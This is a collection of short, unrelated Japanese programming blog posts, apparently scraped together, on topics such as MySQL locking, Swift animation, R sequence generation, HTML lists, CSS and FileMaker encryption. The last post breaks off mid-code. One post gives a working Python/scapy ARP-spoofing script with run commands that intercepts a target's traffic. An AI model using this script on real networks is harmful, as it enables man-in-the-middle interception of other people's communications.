- 半角文字入力時の動作は適切か？
- 空入力時の動作は適切か？

## タイムアウト処理
- 指定時間内にタイムアウトするか？
- 指定時間内に処理が完了した場合にタイムアウトするか？
- タイムアウト時の処理は適切か？

## 数値
- 四捨五入の扱いは適切か？
- 小数点を含む計算結果は適切か？

## 日時
- 現在日時の表示は適切か？
- タイムゾーンは適切か？
- うるう年の対応は適切か？
- 翌月計算の処理は適切か？
- 和暦表示は適切か？

## ローカライズ
- 年月日表現は適切か？
- サマータイムの扱いは適切か？
- 氏名の表現は適切か？
- 通貨表現は適切か？

# 終わりに
不足している観点があったらコメントで指摘をいただけると嬉しいです。
MySQLのロックとか更新処理についてまとめてみた

## トランズアクション
データの不整合が起きないように制御をするための仕組みが用意されている。それがトランズアクション
複数のSQLクエリ(SQLデータベースにだす命令)を1つの作業としてまとめたもの

1. Aさんの銀行口座の残高が10,000円以上であることを確認する。

2. Aさんの銀行口座の残高から10,000円を引く。

3. Bさんの銀行口座の残高に10,000円を足す。

この一連の手順が正常に終われば、振り込みは完了です。しかし、途中でトラブルが発生し、処理が中断されることがあるかもしれません。いずれかのステップで失敗した場合は、ロールバックしたいですね。そこで登場するのがトランザクションです。上記の一連の手順をトランザクションとしてまとめておくと、いずれかのステップで失敗した場合にロールバックを行ってくれます。

トランズアクションの初めは`BEGIN TRANSACTION` 終わりは`COMMIT TRANSACTION`

->参照
http://shindolog.hatenablog.com/entry/2015/04/01/185703
http://www.atmarkit.co.jp/ait/articles/0210/24/news001.html

##SQLのロック
トランザクション中のデータベースへのアクセスを制御するために、RDBMSはデータベースに対して「ロック」を掛けます。

## 共有ロックと排他ロック

排他ロックは対象行を全てのクエリからロックする。UPDATEやDELETEなどの更新クエリはもちろん、SELECTなどの読み取りクエリも通さない。
共有ロックは更新クエリを通さないが、読み取りクエリは通す。
メールの読み取りの時に、複数の人が読み取りだけだったらデータの不整合は起こらないが、一人の人が読み取って、一人の人が書き込む場合には排他的ロックをかけないといけない

->参照 http://qiita.com/mizzwithliam/items/31fb68217899bd0559e8

ステートメントに適したインデックスがなく、MySQL がステートメントを処理するためにテーブル全体をスキャンする必要がある場合は、テーブルのすべての行がロックされます。その結果、そのテーブルへのほかのユーザーによるすべての挿入がブロックされます。クエリーで不必要に複数の行がスキャンされないように、適切なインデックスを作成することが重要です。
SupervisorでSeleniumサーバ立ち上げる(VNC, Supervisor, Selenium)


OS: CentOS6.X

VNCインストール、Firefoxインストール、Javaインストール、Supervisorインストール

```bash:terminal
yum -y update
yum -y install tigervnc-server
yum -y install firefox
dbus-uuidgen > /var/lib/dbus/machine-id
yum -y groupinstall "X Window System"
yum -y groupinstall "Desktop"
yum -y groupinstall "General Purpose Desktop"
yum -y install java-1.8.0-openjdk.x86_64
yum -y --enablerepo=epel install libmcrypt-devel supervisor
```

Supervisor設定

```bash:/etc/supervisord.conf
[program:selenium]
user=vagrant
command=env DISPLAY=:1.0 java -jar /home/vagrant/selenium-server-standalone-2.53.0.jar -port 4444
numprocs=1
autostart=true
autorestart=true
redirect_stderr=true

[program:selenium]
user=vagrant
command=env DISPLAY=:1.0 java -jar /home/vagrant/selenium-server-standalone-2.53.0.jar -port 4444
numprocs=1
autostart=true
autorestart=true
redirect_stderr=true
```

VNC起動、Supervisor起動

```bash:terminal
vncserver :1
service supervisord start
```

確認

```bash:terminal
ps aux | grep vnc // VNC起動確認
ps aux | grep java // selenium起動確認
service supervisord status // supervisor起動確認
supervisorctl status // supervisorプロセス確認
```
Swift3でUIImageを二回反転させて一回転させる方法


# UIImageをIBOutlet

```swift
@IBOutlet weak var YourImage: UIImageView!
```

# animateメソッドで反転処理を二回実行

```swift
        UIView.animate(withDuration: 0.5,animations: { () -> Void in
                self.YourImage.transform = self.BodyClockImage.transform.scaledBy(x: -1.0, y: 1.0)
                self.YourImage.transform = self.BodyClockImage.transform.scaledBy(x: -1.0, y: 1.0)
        })
```

# 参考

[069 UIViewアニメーションまとめ](https://sites.google.com/a/gclue.jp/swift-docs/ni-yinki100-ios/uikit/animeshonwoendoresu-zai-shengsuru)

[Swift3でUIImageを二回反転させて一回転させる方法](http://off.tokyo/blog/2017/05/26/swift3%E3%81%A7uiimage%E3%82%92%E4%BA%8C%E5%9B%9E%E5%8F%8D%E8%BB%A2%E3%81%95%E3%81%9B%E3%81%A6%E4%B8%80%E5%9B%9E%E8%BB%A2%E3%81%95%E3%81%9B%E3%82%8B%E6%96%B9%E6%B3%95/)
Swift3でUIImageの回転

# extensionでUIViewを拡張

```swift
extension UIView {
    func rotate360Degrees(duration: CFTimeInterval = 1.0, completionDelegate: AnyObject? = nil) {
        let rotateAnimation = CABasicAnimation(keyPath: "transform.rotation")
        rotateAnimation.fromValue = 0.0
        rotateAnimation.toValue = CGFloat(M_PI)
        rotateAnimation.duration = duration
        
        if let delegate: CAAnimationDelegate = completionDelegate as! CAAnimationDelegate? {
            rotateAnimation.delegate = delegate
        }
        self.layer.add(rotateAnimation, forKey: nil)
    }
}

```

# どこかで呼び出し

```swift

self.YOUR_SUBVIEW.rotate360Degrees()

```

# 参考

[Rotate a view for 360 degrees indefinitely in Swift?](https://stackoverflow.com/questions/27755504/rotate-a-view-for-360-degrees-indefinitely-in-swift)
Tips : [R] 指定した長さのランダムな塩基配列を出力する


 　以前記したような塩基配列を全て網羅出力するのは長い配列では難しいです。
　（http://qiita.com/Kazuki-Nakamae/items/405d5a6cd075383a5930）
　
　そのためランダム出力する場合も記しておきます。

　以下の関数を読み込みます。

```r:makeRandoligo.r
#指定した長さでのランダムな塩基配列を出力する
#@param {intenger} length : 指定する塩基配列の長さ
#@param {intenger} n : 生成する塩基配列の数（default : 1）
#@param {intenger} seed : シード初期値（default : 1）
#@param {logical} changeSeed : シードを毎回変更するか（default : FALSE）
#@return {vector} seqlist : 生成した塩基配列リスト
makeRandoligo=function(length, n=1 , initSeed=1, changeSeed=FALSE){
  #引数チェック
  isbadarg=c(FALSE, "")
  if(!(length%%1==0) | length<1)  isbadarg=c(TRUE, "length")
  else if(!(n%%1==0) | n<1)       isbadarg=c(TRUE, "n")
  else if(!(initSeed%%1==0) | initSeed<1) isbadarg=c(TRUE, "initSeed")
  else if(!is.logical(changeSeed))isbadarg=c(TRUE, "changeSeed")
  if(isbadarg[1]){
    warning(paste("extra argument ‘",isbadarg[2],"’ is wrong.",sep = ""))
    return(numeric(0))
  }
  #宣言
  seqlist=numeric(0)
  seed=initSeed
  set.seed(seed)
  #復元抽出によって生成する
  for(iter in 1:n){
    seqlist=c(seqlist,paste(sample(c("A","C","G","T"), length, replace=T), collapse=""))
    if(changeSeed){
      seed=seed+1
      set.seed(seed)
    }
  }
  return(seqlist)
}
```
実行例
---
入力
```makeRandoligo(40,n=6,initSeed=1,changeSeed=TRUE)
```
出力
```[1] "CCGTATTGGAAAGCTCGTCTTAGACCACTCCGCATGTAGC" "AGGATTATCGGATACTTACAGCTACCACTAAATTGGTCGA"
[3] "ATCCGGACGGGGGGTTAGTCAAAAATGTGTCCACCCTAGA" "GACCTCGTTATCATCCTGTTGTGCGTCTGGGATGCTCGCA"
[5] "AGTCAGGTTACCCGCACTGTTGAAACCTATCACAACGGCC" "GTCCTTTTGAGTACTCGGAGTTAAGCCTCCGATTATCATT"
```

環境
---
R version 3.3.2 (2016-10-31)
Platform: x86_64-apple-darwin13.4.0 (64-bit)
Running under: macOS Sierra 10.12.4

参考文献
---
　http://www.iu.a.u-tokyo.ac.jp/~kadota/r_seq.html#intro_general_randomseq
Chrome拡張のGhostText導入手順(Visual Studio Code編)

Chrome拡張のGhostTextを使用すると、テキストエリアの入力を別エディタから行うことができます。
この記事では、Visual Studio CodeからChromeのテキストエリアに入力するための導入手順と使い方を紹介します。
GhostTextをVisual Studio Codeで使用する日本語情報が見つからなかったため、ここに記録しておきます。

# 環境
Chrome
Visual Studio Code

# 導入手順
1. 以下のリンクからChromeにGhostTextをインストールします
[GhostText](https://chrome.google.com/webstore/detail/ghosttext/godiecgffnchndlihlpaajjcplehddca?hl=ja)
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/9deafe76-7231-5684-a8d6-6aacc77d2735.png)
　
2. インストールするとアイコンが表示されます
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/d0441416-085b-4612-2adb-a4fcc8fc0a9c.png)
　

3. Visual Studio CodeにGhostTextをインストールします
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/85f2435d-1a84-6e22-60c2-a2376ec0e8de.png)
　

4. コマンドパレットに` Enable GhostText`と入力してGhostTextを有効化します
Visual Studio Codeを起動するたびにこのコマンドを打つ必要があるようです。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/92e8f902-cd03-391b-e743-45d25f4182ee.png)
成功すると以下のように表示されます
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/bf8aca36-f29c-75da-85c8-5de65cf197cd.png)

# 使用方法
1. Visual Studio Codeを起動し、GhostTextを有効化（コマンドパレットに` Enable GhostText`と入力）した状態で、Webページを開きます。
　

2. テキストエリアにフォーカスをセットしてから、アイコンをクリックするか、Ctrl + Shift + Kを入力します。

連携に成功すると以下のメッセージが表示されます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/fcf015dc-4932-50f0-44bb-92cad32ca918.png)

対象のテキストエリアが青枠で囲まれます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/8b2ab25b-e9c5-0ab7-d3fd-65c853f48f3b.png)
　
3. Visual Studio Codeに新規ファイルが作成され文字を入力すると、Chromeのテキストエリアに書き込まれます
![image.png](https://qiita-image-store.s3.amazonaws.com/0/33639/3cefe54b-d58c-b82d-a244-8ca6687f3994.png)

Redmineへの長文の書き込みが煩わしくなり、探したところこの方法が見つかりました。
以下の記事を参考にさせていただきました。
http://qiita.com/seihmd/items/94f7628b949626e73f51
ARPスプーフィング with python

ARPスプーフィング

まずARPとはなんぞやと言うことで自分なりに説明してみます。（図なんか作ったらわかりやすいと思うんだけど）
ローカルエリア内（レイヤ2以下）の通信ではIPアドレスからMACアドレスを調べて、そのMACアドレスを元に通信しています。それで「IPアドレスからMACアドレスを調べる」という部分を担当しているのがARPプロトコルと言うわけです。
ARPの仕組みがざっくりわかったところで、ARPスプーフィングですが、IPアドレスからMACアドレスを求めるという操作は、通信するたびに行なっていると処理が重くなって不便ですよね？
実は「このIPアドレスはこのMACアドレス」と言う感じのデータを端末は所有しているのです。そしてその対応データ（以下ARPテーブル）を変更してやろう（騙そう）とするのがARPスプーフィングです。
これを実行すると本来ならルーターに送るはずのパケットを攻撃者の端末に送信してしまい、またルーターのARPテーブルも変更してやるとで上手いことに通信に割って入ることが出来るのです。
以下のプログラムは次のことを実行しています。
1.ゲートウェイ、ターゲットに偽装したARPリクエストパケットを送る。（これで割って入ります）
2.プログラムを終了する前に正しいARPパケットを送り、通常通信に戻す。
ポイントは1.で多くのARPスプーフィングツールではARPリクエストではなくリプライを毎秒送りつけ、攻撃対象のARPテーブル更新時のタイミングで割り込むと言うものが多いです。これではARPテーブル更新のタイミングが来るまで待ってないといけません。僕の実装あまり知られていない「ARPリクエストでARPテーブルが書き換わる」という仕様を利用しています。

```python
#coding:utf-8
from scapy.all import *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]  
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
	try:
		print "[*] Start ARPspoofing..."
		poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
		sys.exit(0)

def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
	poisoning_target = Ether(dst=target_mac)/ARP()
	poisoning_target.op = 2
	poisoning_target.psrc = gateway_ip
	poisoning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
	print "[*] Restoring target."
	send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)

if __name__=="__main__":
	main()

```
macの場合は

```
sudo sysctl -w net.inet.ip.forwarding=1
```
Linuxの場合は

```
sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1
```
を実行し

```
sudo python arpspoofing.py ゲートウェイIP ゲートウェイMAC ターゲットIP ターゲットMAC  
```
でターゲットの指定した端末の送信パケットが全て自分の端末に飛んで来ます。

###問題点
MACアドレスを指定するのは、以前まではブロードキャストによって相手(ゲートウェイ、ターゲット)のMACアドレスを取得していましたが、その際に送られる要求パケットに含まれる自分の端末(攻撃者)のMACアドレスがARPテーブルに乗ってしまうために、ARPスプーフィングを実行した際にMACアドレスがダブってしまいうまくいかないことがあるために指定することにしました。
ただ、ゲートウェイにはARPスプーフィングを実行する以前に攻撃者のMACアドレスが存在しているためダブりが存在してしまうことになりますよね。。ってことで今自分が思う解決策としては攻撃者のMACアドレスを偽装して〜みたいなことを考えてます。仮想マシンでもいいかも



参考にした本
https://www.oreilly.co.jp/books/9784873117317/
ハードリンクが張られたファイルの圧縮解凍

ハードリンクが張られたファイルをgzipやbzip2で圧縮または解凍する場合、オプション-fを添える必要がある。操作されなかったファイルはそのままで、リンク数が減る。

```
$ ls -l
total 8
drwxr-xr-x 2 glire glire 4096 May 26 15:18 bar
drwxr-xr-x 2 glire glire 4096 May 26 15:19 foo
$ ls -l foo/
total 66400
-r--r--r-- 1 glire glire 67993227 May 21  2017 baz
$ ls -l bar/
total 0
$ ln foo/baz bar/baz
$ ls -l bar/
total 66400
-r--r--r-- 2 glire glire 67993227 May 21  2017 baz
$ cd foo/
$ bzip2 baz
bzip2: Input file baz has 1 other link.
$ ls -l
total 66400
-r--r--r-- 2 glire glire 67993227 May 21  2017 baz
$ bzip2 -f baz
$ ls -l
total 8776
-r--r--r-- 1 glire glire 8986307 May 21  2017 baz.bz2
$ cd ../bar/
$ ls -l
total 66400
-r--r--r-- 1 glire glire 67993227 May 21  2017 baz
$ rm -f baz
$ ln ../foo/baz.bz2 baz.bz2
$ ls -l          
total 8776
-r--r--r-- 2 glire glire 8986307 May 21  2017 baz.bz2
$ bzip2 -d baz.bz2 
bzip2: Input file baz.bz2 has 1 other link.
$ bzip2 -df baz.bz2
$ ls -l
total 66400
-r--r--r-- 1 glire glire 67993227 May 21  2017 baz
$ ls -l ../foo/
total 8776
-r--r--r-- 1 glire glire 8986307 May 21  2017 baz.bz2
```
【HTML5学習】 Part.7 - list-

本日はリストについて。


##箇条書き と 連番 リスト ##
**&lt;ul&gt;&lt;/ul&gt;** : (unorder list) 項目の順序があまり大きな意味を持たない、**箇条書き**のリストを表す。 

**&lt;ol&gt;&lt;/ol&gt;** : 順序の決まったリスト、**数字連番**がついたリストを表す。


**&lt;li&gt;&lt;/li&gt;** : (list item) リスト項目を表す。ulやolのブロック要素の中に入れることでリストを作成していく。

###ul : 箇条書きリスト
 

```html 
<ul>
	<li>HTML</li>
	<li>CSS</li>
	<li>JavaScript</li>
	<li>jQuery</li>
	<li>Ruby</li>
	<li>PHP</li>
</ul>

```

<img width="137" alt="ul.png" src="https://qiita-image-store.s3.amazonaws.com/0/174180/85a979fb-b577-be8d-db62-2f691b781542.png">

###ol : 連番付きリスト

```html

<ol>
	<li>HTML</li>
	<li>CSS</li>
	<li>JavaScript</li>
	<li>jQuery</li>
	<li>Ruby</li>
	<li>PHP</li>
</ol>

```

<img width="138" alt="ol.png" src="https://qiita-image-store.s3.amazonaws.com/0/174180/d2aab40d-c9da-8320-aeb0-7c13da221d8d.png">


##記述リスト

**&lt;dl&gt;&lt;/dl&gt;** :(description list)  名前と値のグループからなるリスト。

>**&lt;dt&gt;&lt;/dt&gt;** :  (description term) 名前。用語や文章を表す。dlの中に複数入れられる。

>**&lt;dd&gt;&lt;/dd&gt;** : (description, definition)  用語や文章の説明をする。dlの中に複数入れられる。

>```html
><dl>
	<dt>5月12日（金）</dt>
	<dd>Qiita更新 1回目</dd>
	<dt>5月12日（金）</dt>
	<dd>Qiita更新 2回目</dd>
></dl>
>```
><img width="191" alt="dl.png" src="https://qiita-image-store.s3.amazonaws.com/0/174180/f2c95e11-27f0-94f4-6d0e-58fd0407ce6a.png">



##定義を表す
HTML5以前では、dl,dt,ddが定義を表すものとして使われていましたが、上記のように「名前と値のグループからなるリスト」に変更。
HTML5ではdtは「定義語を示す」ではなくなったので、**&lt;dfn&gt;&lt;/dfn&gt;**を入れることで定義語を示すようになります。

>**&lt;dfn&gt;&lt;/dfn&gt;** : 定義語を示す

>```html
><dl>
	<dt><dfn>ゴールデンウィーク</dfn></dt>
	<dd>４月末から5月初めにかけての大型連休</dd>
	<dt><dfn>シルバーウィーク</dfn></dt>
	<dd>秋の大型連休</dd>
></dl>
>```

><img width="348" alt="dfn.png" src="https://qiita-image-store.s3.amazonaws.com/0/174180/1ec04345-4b09-d2ba-af4e-7914fae37c44.png">



>**&lt;abbr&gt;&lt;/abbr&gt;** : 略語を表す要素。dfnとセットで使うことが多い。
デフォルトで、下線が引かれたテキストになり、下線が引かれた部分にカーソルを合わせると略す前の言葉が現れる。

>```html

><dl>
	<dt><dfn><abbr title="HyperText Markup Language">HTML</abbr></dfn></dt>
	<dd>HTMLとは<dfn>HyperText Markup Language</dfn>の略で、ページの要素や構造を指定するための言語</dd>

></dl>
>```

>&lt; abbr &gt;, &lt; dfn &gt; は &lt; dl &gt; , &lt; dt &gt;と一緒に使う決まりはなく、&lt; p &gt;タグの中に入れたりしてもOKだそうです。



ulとかはよく使っていましたが、dlはほとんど使ったこと無かったですし、dfnは1回もなし・・・
dlたちは便利に使えそうだなと感じたので、これからどんどん活用していきます＾＾
【FileMaker】FileMaker 16の暗号と復号をファンタジックに解説する

さて、FileMaker 16で何が嬉しいかというと、やはり作り込みをする時間が短縮されるような関数、簡単に言ってしまうと痒い所に手が届く関数が出てきたことでしょうか。
見た目がどうのという機能もうれしいですが、アプリを作る時間が大幅に短縮されるためには、スクリプトを実装する時間が短縮されることにあると思います。

今回は、今までのバージョンではプラグインなどで対応していた、暗号・復号に関する関数がバージョン16で標準装備となったので、ちょっと使ってみたいと思います。

この記事では、[CryptEncrypt](https://fmhelp.filemaker.com/help/16/fmp/ja/index.html#page/FMP_Help%2Fcryptencrypt.html%23wwconnect_header)と[CryptDecrypt](https://fmhelp.filemaker.com/help/16/fmp/ja/index.html#page/FMP_Help%2Fcryptdecrypt.html%23wwconnect_header)を使います。

# 暗号と復号とは？

ファンタジーっぽく言ってしまうと、
CryptEncryptは、指定されたオブジェクトに魔法をかけて別の姿にする呪文
CryptDecryptは、魔法で別な姿になったオブジェクトを元に戻す呪文
というところでしょうか。

魔法にかけるとどういういいことがあるかというと、

元の姿が隠せるので、バレません。

ですね。

ただし、魔法をかける側と魔法を解く側で同じ合言葉を使わないといけません。
合言葉は、keyと言ったり、saltと言ったりします。
FileMakerでは、keyと言っていますね。

# 暗号と復号をやってみる

では、実際に動きを見てみましょう。
<img width="1026" alt="FM16Crypt1_1.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/a1d94798-1be7-0674-94f5-33035ea41414.png">

このサンプルでは、「暗号化するデータ」にとある文章を指定しています。
keyは、「1234567890」という数字です。
サンプルなので、適当に数字を入れていますが、実際には乱数などで作った方が合言葉を推測されずにすみます。

「暗号化するデータ」に「1234567890」という合言葉をつけて呪文を唱えると、「暗号化されたデータ」が出来上がります。
<img width="411" alt="FM16Crypt1_3.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/72d41414-60ee-80e0-f4e3-a51b16d47d7e.png">

試しにファイルをエクスポートして中身を見てみると、、、
<img width="1608" alt="FM16Crypt1_2.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/14fb81fc-8963-e508-cbe2-b9c0fcfe7d1f.png">
なんだかよくわからない記号がたくさん並んでいて、元の姿が隠せています。

では、元に戻す呪文で、元の姿に戻します。
<img width="1025" alt="FM16Crypt1_4.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/592030e2-1de2-1008-9d63-2aaf50c81e36.png">
「暗号化されたデータ」から、「復号されたデータ」が現れました。

# 実装してみる

次に、「暗号処理」と「復号処理」がどのような呪文を書いているのか、見てみましょう。

まずは、テーブル定義から。
<img width="527" alt="FM16Crypt1_5.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/594f55e2-e2e6-4233-13a9-5920b4f368c4.png">
今回はサンプルなので、全てグローバルで定義していますが、適宜レコードフィールドを指定してください。

暗号処理には、CryptEncryptを使います。
<img width="970" alt="FM16Crypt1_6.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/e65c8547-ba5d-281a-4df2-96ae7a636a8b.png">

復号処理には、CryptDecryptを使います。
<img width="1030" alt="FM16Crypt1_7.png" src="https://qiita-image-store.s3.amazonaws.com/0/60538/cf606ed9-607b-4ebd-3fa1-177f81888b2b.png">


どちらも、同じ合言葉を使っているのがわかります。

# 使い所

この暗号・復号化は、新しい技術ではありません。
私が知る限りでは、20年前にはすでに技術雑誌に載っていたような気がします。
他言語では、すでに関数化されて実運用されています。
暗号化技術は年々進化していますが、やはり、インターネットで個人が使う環境が整ってきてから、急速に技術も進化してきているように思います。
中でも、今回の合言葉形式は、割と理解しやすい暗号・復号化ではないでしょうか。

では、どういう場面で活用できるかというと、機密文書などを保存する場合や離れた場所でのデータのやりとりなどに活用できます。
ネットショップなどが提供しているAPIなどでは、これにさらにこねくり回して（ハッシュと言ったりします）データ通信がより安心安全にやりとりできるように作られています。

まずは、部署間で機密文書を扱う際などに実装してみるのはいかがでしょうか。
PHP7.1で eval(\Psy\Sh()); が効かない

Laravelの `homestead` を使い始めたら、PHP7.1になってて、ソースコード中で`eval(\Psy\Sh());` によるインタラクティブデバッグができなくなった。

`php artisan tinker` はできるけど。

代わりに下記でOK。

```
extract(\Psy\Shell::debug(get_defined_vars()));
```



# 参考

ありがとうございました。

- http://qiita.com/rana_kualu/items/99b316f41143411f1385
- http://qiita.com/rana_kualu/items/572494021917fbb93c95#fix-inconsistent-behavior-of-this-variable
【PHP初心者】気になるフレームワークをざっと解説

[![thumbnail](http://image.slidesharecdn.com/1704281-170526060817/95/slide-1-1024.jpg)](https://www.slideshare.net/YosukeKasagawa/ss-76366276)
https://www.slideshare.net/YosukeKasagawa/ss-76366276

## 目次
##### <1>フレームワークって(FW)なに？
　(1)フレームワークのざっくり解説！
　(2)ありがたや〜なメリット！
　(3)ちょっと注意なデメリット！
　(4)よく聞く有名どころはここらへん！

##### <2>笠川が気になってるPHPのFW！
　(1)Silex - シンプル＆高速なマイクロFW
　(2)CakePHP - 日本で一番の大正義FW
　(3)Laravel - 世界で伸び続ける最新鋭FW

##### <3>本日のお楽しみにコンテンツ！

## 補足URL
##### サンリオ事件について 
http://rocketnews24.com/2015/06/28/601546/ 
Laravelを採用しているギークス株式会社様が『SHOW BY ROCK!!』のアプリを開発されていました。 

##### Laravel女子は可愛いについて 
https://geechs-magazine.com/tag/entertainment/20151215 
Laravelを使う方を調べていた時にこの記事を見つけ、「Laravelを使う女性は可愛い」と知りました。
Tips : [R] 指定した長さでの全ての塩基配列を出力する

　テストを行うために塩基配列を網羅的に生成する必要があったのですが、少し調べてみてライブラリが見当たらなかったので作成しました。せっかくなのでここに書き記しておきます。

```r:makeAlloligo.r
#指定した長さでの全ての塩基配列を出力する
#@param {intenger} length : 指定する塩基配列の長さ
#@return {vector} seqlist : 指定した長さでの全ての塩基配列リスト
makeAlloligo=function(length){
  #引数チェック
  if(!(length%%1==0) | length<1){
    warning("extra argument ‘length’ is wrong.")
    return(numeric(0))
  }
  #宣言
  letterset = c("A","C","G","T")
  seqlist=letterset
  #seqlistに格納された配列に１塩基ずつ足していく
  for(iter in 1:(length-1)){
    if(length==1) break
    seqplus=numeric(0)
    reflist=seqlist
    seqlist=numeric(0)
    for(seq in reflist){
      seqplus=c(seqplus,paste(seq,letterset[1],sep = ""))#A
      seqplus=c(seqplus,paste(seq,letterset[2],sep = ""))#C
      seqplus=c(seqplus,paste(seq,letterset[3],sep = ""))#G
      seqplus=c(seqplus,paste(seq,letterset[4],sep = ""))#T
    }
    seqlist=seqplus
  }
  return(seqlist)
}
```

環境
---
R version 3.3.2 (2016-10-31)
Platform: x86_64-apple-darwin13.4.0 (64-bit)
Running under: macOS Sierra 10.12.4

注意点
---
・塩基配列の組み合わせは数が膨大になるので、このコードで出力できるのは8塩基程度までです。
・コードの最適性などは考慮していません。

---
　ライブラリについてもしご存知の方がいらっしゃいましたらご一報いただけると助かります。
実践DOM操作 by jQuery

# 概要
空のHTMLにDOM要素を捜査して動的にhtmlを追加します。

完成品 → https://codepen.io/ksyunnnn/pen/bWJVaY

# 実践

データを元に生成する感じにします。

```index.html
<div class="container" id="tabMonth">
  <button>Create</button>
  <ul></ul>
</div>
```

```index.js
function tabMonth(data,id) {
  $ul = $('#tabMonth > ul');
  for (let k in data) {
    // DOM生成(プロパティも設定)
    $a = $("<a></a>", {
      href: "example.com/tab/"+data[k].id,
      "class": "nav-link"
    });
    // aタグに入れるテキスト追加
    $a.text(data[k].year+"年"+data[k].month+"月")
    
    // listに設定したいクラスを指定しておく
    var add = 'nav-item'+(data[k].id===id?' active':'');
    // DOM生成(プロパティも設定※aタグとは違う方法で)
    $list = $('<li>').addClass(add);
    
    // 追加
    $list.append($a)
    $ul.append($list);
  }
}

// 元データ
var data = [{
  "id": "1212",
  "year": "2017",
  "month": "1"
}, {
  "id": "1313",
  "year": "2017",
  "month": "2"
},{
  "id": "1212",
  "year": "2017",
  "month": "3"
}, {
  "id": "1313",
  "year": "2017",
  "month": "4"
}, {
  "id": "1414",
  "year": "2017",
  "month": "5"
},{
  "id": "1212",
  "year": "2017",
  "month": "6"
}];

// 処理部分
$("button").click(function(e) {
    tabMonth(data,"1414");
  });
```

# できたできた

https://codepen.io/ksyunnnn/pen/bWJVaY/

参考: http://qiita.com/nekoneko-wanwan/items/227ccad5f8cc449e91e9
【CSS】画像をいい感じに（中央に、丸く）表示する

Rails勉強中ですが、今日はCSSで画像をいい感じに表示してみたいと思います。（息抜き）

#### そのまま
```image.html
<div class="box">
  <img src="image.jpg" class="image">
</div>
```
```style.css
.box {
  width: 300px;
  height: 300px;
  position: relative;
}
.image {
  position: absolute;
}
```
"box"という箱の中に"image"という画像を配置しています。
"box"のサイズを300px角としていますが、そのままだと画像の方が大きくなっています。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/177007/46e8d421-5655-8d3b-9ccf-a0f010dc29d3.png)

#### はみ出た部分をカット
親要素である""box"にoverflowプロパティを追加します。

```style.css
.box {
  width: 300px;
  height: 300px;
  position: relative;
  overflow: hidden; /*追加*/
}
.image {
  position: absolute;
}
```
hiddenとするとはみ出た部分がカットできました。でも空しか写っていません。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/177007/1939ec57-3150-fe60-afbe-e6b70da9b961.png)

#### 画像を中央に移動
"box"の中心に画像の中心を持っていきたいと思います。

```style.css
.box {
  width: 300px;
  height: 300px;
  position: relative;
  overflow: hidden;
}
.image {
  position: absolute;
  top: 50%; /*追加*/
  left: 50%; /*追加*/
}
```
まずは、画像のpositionをabsoluteで左上から50%で指定。これで画像の起点（左上）が"box"の中心に移動します。（ここでの50%は"box"の半分）
![image.png](https://qiita-image-store.s3.amazonaws.com/0/177007/8e3ec23a-28ba-022d-cb5b-f7317ea6edd0.png)

```style.css
.box {
  width: 300px;
  height: 300px;
  position: relative;
  overflow: hidden;
}
.image {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%); /*追加*/
}
```

続いて、transformのtranslateで画像をXY方向ともに-50%移動します。（ここでの50%は画像の半分）
これで"box"の中心に画像の中心を持っていくことができました。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/177007/d9de2694-5939-bbd6-7b38-00718dba6271.png)

#### 丸くする
最後におまけとして、"box"を丸くします。

```style.css
.box {
  width: 300px;
  height: 300px;
  position: relative;
  overflow: hidden;
  border-radius: 300px; /*追加*/
}
.image {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -40%); /*調整*/
}
```
border-radiusプロパティの値をwidth,heightと同じにすると円となります。位置を調整して完成。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/177007/4760967b-6cd4-5966-0583-e663ced66581.png)

ありがとうございました。
[sqlserver]カスタム書式を指定して、日付や時刻を取得する

# [sqlserver]カスタム書式を指定して、日付や時刻を取得する

## 概要

- SQL Server 2012以降の環境では、`FORMAT`関数を指定することで、カスタム書式を指定して、日付や時刻を取得することができる。
- vb.netやC#のコードと同じ感覚で取得が可能

## 使用例

```sql:example.sql
SELECT FORMAT(CURRENT_TIMESTAMP,'yyyy年MM月dd日（ddd）') as time;
```

## 結果

| time                 |
|:---------------------|
| 2017年05月22日（月） |

## 参考

- [指定可能な書式はこちらを参照(MSDN)](http://msdn.microsoft.com/ja-jp/library/8kb3ddd4%28v=vs.110%29.aspx)
pythonからGoogleTranslateを無理やり使う

## モチベーション
英語論文翻訳をする際に本文をコピペするとpdfによっては変な改行や文字が入ることがある。
そのあたりをpythonで整形する際に一緒に翻訳までしちゃえば楽だと思ったのでその方法

## 方法
GoogleTranslateのapiは有料なので、seleniumでブラウザをエミュレートして、ブラウザのGoogleTranslateを使う

## 準備
```
pip install selenium
npm install -g phantomjs-prebuilt
```

## 実際のコード
```py3
from selenium.webdriver import PhantomJS
import time
driver = PhantomJS()
